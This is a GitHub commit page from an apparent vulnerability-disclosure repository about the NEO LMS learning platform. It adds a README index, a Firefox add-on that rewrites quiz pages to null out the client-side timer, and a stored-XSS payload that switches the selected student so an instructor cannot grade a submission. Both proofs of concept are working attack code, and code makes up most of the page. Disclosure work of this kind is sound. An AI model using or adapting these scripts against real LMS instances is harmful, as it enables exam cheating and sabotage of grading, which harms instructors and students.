Skip to content

Commit 13f5205

Browse files
committed
Added files, added an index to README
1 parent f4becb7 commit 13f5205

File tree

6 files changed

+144
-0
lines changed

6 files changed

+144
-0
lines changed

README.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,16 @@ This repository serves as a directory of both the writeups and the proof-of-conc
2121

2222
The timer on quiz assignments is client-side only, the server does not check the submission time, hence by disabling the timer client side we effectively disable the timer.
2323

24+
## Contents
25+
26+
* [`timer_bypass/matrix_neo_quiz_writeup.pdf`](/timer_bypass/matrix_neo_quiz_writeup.pdf) - Write up for the XSS vulnerabilities found in assigments, task descriptions and the user's portfolio
27+
* [`timer_bypass/proof_of_concept/`](/timer_bypass/proof_of_concept) - Code for the proof-of-concept of the timer bypass, consitutes a Firefox addon which can be loaded as described [here](https://blog.mozilla.org/addons/2015/12/23/loading-temporary-add-ons/)
28+
* [`xss_vulnerabilties/matrix_neo_xss_writeup.pdf`](/xss_vulnerabities/matrix_neo_xss_writeup.pdf) - Write up for the XSS vulnerabilities found in assigments, task descriptions and the user's portfolio
29+
* [`xss_vulnerabilties/proof_of_concept/`](/xss_vulnerabities/proof_of_concept) - Payload that was created specifically to impede a instructor from correcting a student's submission.
30+
31+
32+
33+
2434
## License
2535

2636
![License Badge](https://mirrors.creativecommons.org/presskit/buttons/80x15/svg/by-nc.svg)
177 KB
Binary file not shown.

timer_bypass/proof_of_concept/main.js

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
function handleResponse(requestDetails) {
2+
3+
let filter = browser.webRequest.filterResponseData(requestDetails.requestId);
4+
let decoder = new TextDecoder("utf-8");
5+
let encoder = new TextEncoder();
6+
7+
filter.ondata = event => {
8+
9+
// Decode the first block of data
10+
11+
let str = decoder.decode(event.data, {stream: true});
12+
13+
// Creating a dummy HTML element to simplify operations
14+
const dummy = document.createElement('html');
15+
dummy.innerHTML = str
16+
17+
// Get all script elements
18+
19+
let scripts = dummy.getElementsByTagName('script');
20+
21+
for (let i = 0; i < scripts.length; i++) {
22+
if (!scripts[i].hasAttribute('src')) {
23+
if (scripts[i].textContent.includes('init_quiz')) { // Is it the script tag that initializes the quiz?
24+
25+
// Not the most efficient way to go about doing this, but it works
26+
27+
let text = scripts[i].textContent;
28+
29+
// Create an array containing the arguments passed in to the init_quiz() function
30+
31+
text = text.replace(/(init_quiz\({)/g, '') // Remove the first part of the func call
32+
text = text.replace(/(}\);)/g, '') // Remove the }), aka. the end of the func call
33+
text = text.replace(/\r?\n|\r/g, '') // Remove whitespace
34+
let args = text.split(/,(?=([^']+'[^']+')*[^']*$)/g) // Split using a regex rule
35+
36+
// Filter the messy array the regex provides
37+
38+
let uniqueArgs = args.filter((c, index) => {
39+
return args.indexOf(c) === index;
40+
});
41+
42+
let filteredArgs = Array()
43+
44+
45+
// @NOTE(Mauro): Could probably use a filter here
46+
47+
for (let index = 0; index < uniqueArgs.length; index++) {
48+
let arg = uniqueArgs[index]
49+
if (arg !== undefined) {
50+
if (!arg.startsWith(',')) {
51+
filteredArgs.push(arg)
52+
}
53+
}
54+
}
55+
56+
// Iterate through every element of arguments
57+
58+
let map = new Map();
59+
60+
for (let index = 0; index < filteredArgs.length; index++) {
61+
62+
// Using a substring, get the property name
63+
64+
let str = filteredArgs[index]
65+
let key = str.substring(0, str.indexOf(':')).trim()
66+
let value = str.replace(key + ':', '').trim()
67+
68+
// Logic case that checks and converts the different types
69+
70+
if (value.match(/(\d+)/) != null) {
71+
value = Number(value)
72+
}
73+
else if (value === 'true' || value === 'false') {
74+
75+
// Given that 'true' and 'false' are JSON representations of true and false
76+
// just JSON parse it
77+
78+
value = JSON.parse(value)
79+
}
80+
else {
81+
value = value.replace(/'/g, '')
82+
}
83+
84+
map[key] = value // Add value to map
85+
86+
}
87+
map['total_seconds'] = null
88+
text = `init_quiz(${JSON.stringify(map)})`
89+
scripts[i].textContent = text
90+
}
91+
}
92+
93+
}
94+
filter.write(encoder.encode(dummy.innerHTML));
95+
filter.disconnect();
96+
}
97+
return {};
98+
}
99+
100+
browser.webRequest.onBeforeRequest.addListener(
101+
handleResponse,
102+
{urls: ["https://*/student_take_quiz_assignment/display/*"], types: ["main_frame"]},
103+
["blocking"]
104+
);
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
{
2+
"description": "LMS Vulnerability PoC",
3+
"manifest_version": 2,
4+
"name": "neolms-timer-bypass",
5+
"version": "1.0",
6+
7+
"permissions": [
8+
"webRequest",
9+
"webRequestBlocking",
10+
"<all_urls>"
11+
],
12+
13+
"background": {
14+
"scripts": ["main.js"]
15+
}
16+
}
191 KB
Binary file not shown.
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
window.onload = function() {
2+
student = document.getElementById('selected_student');
3+
children = student.children
4+
5+
for(var i = 0; i < children.length; i++) {
6+
let child = children[i];
7+
if (child.hasAttribute('selected')) {
8+
child.removeAttribute('selected')
9+
children[0].setAttribute('selected', 'selected')
10+
}
11+
}
12+
13+
change_student_to_grade(student, 'student');
14+
}

0 commit comments

Comments
 (0)